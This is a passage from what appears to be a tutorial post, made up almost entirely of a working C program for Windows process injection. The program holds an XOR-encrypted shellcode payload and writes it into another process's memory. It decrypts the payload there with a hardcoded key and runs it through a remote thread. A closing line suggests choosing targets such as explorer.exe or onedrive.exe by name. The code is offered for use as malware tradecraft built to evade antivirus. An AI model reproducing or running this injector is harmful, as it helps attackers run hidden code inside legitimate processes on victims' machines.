x8f\x24\xc8\x7b\xb1\xa9\x2d\x9b\xbe\xe6\x81\x76\x18\x5a\x21\x29\x36\x2b\x0c\x6b\x25\x79\x76\x24\x2a\x13\x68\x3b\x33\xde\x60\x4a\x76\x46\x9a\xa7\x2e\x31\x20\xc8\x11\x05\x28\x18\x89\xb0\x3b\x86\xa6\x88\x4e\x9b\x94\x9a\x31\x77\xa6\x3a\x50\xae\x29\xf7\x92\x1e\xd1\x38\x89\x82\x2a\x13\x68\x38\x3b\xa3\xa9\x95\xcc\xd4\x33\x8d\xac";
int sizeshellcode = sizeof(shellcode);
i("Size of shellcode is: %zd bytes\n",sizeshellcode);


if (argc < 2){
e("Usage: %s <PID>", argv[0]);
return 1;
}

PID = atoi(argv[1]); //Converting the argument to int
i("Inserted PID: %d\n", PID);

/*Getting the handle of a process specified by its PID*/
i("Trying to get the handle of the Procees: ", PID);
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);
if (hProcess == NULL){
e("Not Able to get the handle of process %d", PID);
return 1;
}
s("Got the Handle of the process: %d", PID);
i("Processes Handle: 0x%p\n", hProcess);


/*Allocating the buffer within the virtual addrress space of the process*/
i("Trying to Allocate the Buffer of the processes V-Memory..., Handle: 0x%p",hProcess);
AllocBuffer = VirtualAllocEx(hProcess, NULL, sizeshellcode, (MEM_COMMIT | MEM_RESERVE), PAGE_EXECUTE_READWRITE);
if (AllocBuffer == NULL){
e("Failed to Allocate Buffer");
return 1;
}
s("Succesfully Aloocated the buffer into the Virtual space of the process");
i("Address: %x\n", AllocBuffer);


/*Write the shellcode into the buffer*/
if (WriteProcessMemory(hProcess, AllocBuffer, shellcode, sizeshellcode, NULL) == 0){
e("Unable to write the shellcode");
return 1;
}
s("Wrote Shellcode to the buffer!");

/*Decrypting the shellcode in memory*/
BYTE value;
char key[] = "veryhardkey";
for (int i = 0; i < sizeshellcode-1; i++){
ReadProcessMemory(hProcess, AllocBuffer+i, &value, sizeof(value), NULL);

value = (value ^ key[i%11]); // decrypt
WriteProcessMemory(hProcess, AllocBuffer+i, &value, sizeof(value), NULL);

ReadProcessMemory(hProcess, AllocBuffer+i, &value, sizeof(value), NULL);
}

/*Creating a thread to execute the shellcode*/
hThread = CreateRemoteThreadEx(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)AllocBuffer, NULL, 0, 0, &TID);

i("Thread invoked!");
i("Thread Handle: 0x%p", hThread);
i("Thread ID: %d", TID);

WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
CloseHandle(hProcess);

return 0;
}

Now, you can explore ways to automate this task by discovering the PID of a process based on its name, such as notepad.exe, explorer.exe, or onedrive.exe.

--

--